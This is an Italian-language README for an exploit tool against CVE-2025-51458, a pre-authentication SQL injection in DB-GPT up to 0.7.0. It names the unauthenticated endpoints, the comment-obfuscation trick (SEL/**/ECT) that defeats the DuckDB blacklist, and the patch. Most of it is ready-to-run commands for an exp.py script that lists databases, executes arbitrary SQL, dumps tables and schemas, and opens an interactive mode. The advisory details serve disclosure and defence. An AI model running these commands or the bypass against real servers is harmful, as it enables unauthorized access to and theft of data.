CVE-2025-51458-exp

SQL Injection pre-autenticazione in DB-GPT <= 0.7.0

Panoramica

Gli endpoint /api/v1/editor/sql/run e /api/v1/editor/chart/run accettano SQL arbitrario senza autenticazione. La blacklist sanitize_sql copre solo DuckDB; le connessioni MySQL, PostgreSQL e SQLite ricevono input utente grezzo senza alcun filtraggio. La blacklist di DuckDB stessa può essere aggirata tramite offuscamento con commenti (SEL/**/ECT).

Si tratta di un bypass di CVE-2024-10835 e CVE-2024-10901.

• CVSS: 6.5 (Medio)
• Tipo: CWE-89 (SQL Injection)
• Autenticazione: Non richiesta (Pre-Auth)
• Versioni interessate: DB-GPT <= 0.7.0
• Corretto: PR #2650

Utilizzo

# List databases
python3 exp.py http://target:5670 --list-dbs

# Execute SQL
python3 exp.py http://target:5670 <db_name> --sql "SELECT VERSION()"

# Dump tables
python3 exp.py http://target:5670 <db_name> --dump-tables

# Dump schema
python3 exp.py http://target:5670 <db_name> --dump-db

# DuckDB bypass
python3 exp.py http://target:5670 <db_name> --duckdb-bypass --sql "SELECT CURRENT_SETTING('access_mode')"

# Interactive mode
python3 exp.py http://target:5670 <db_name>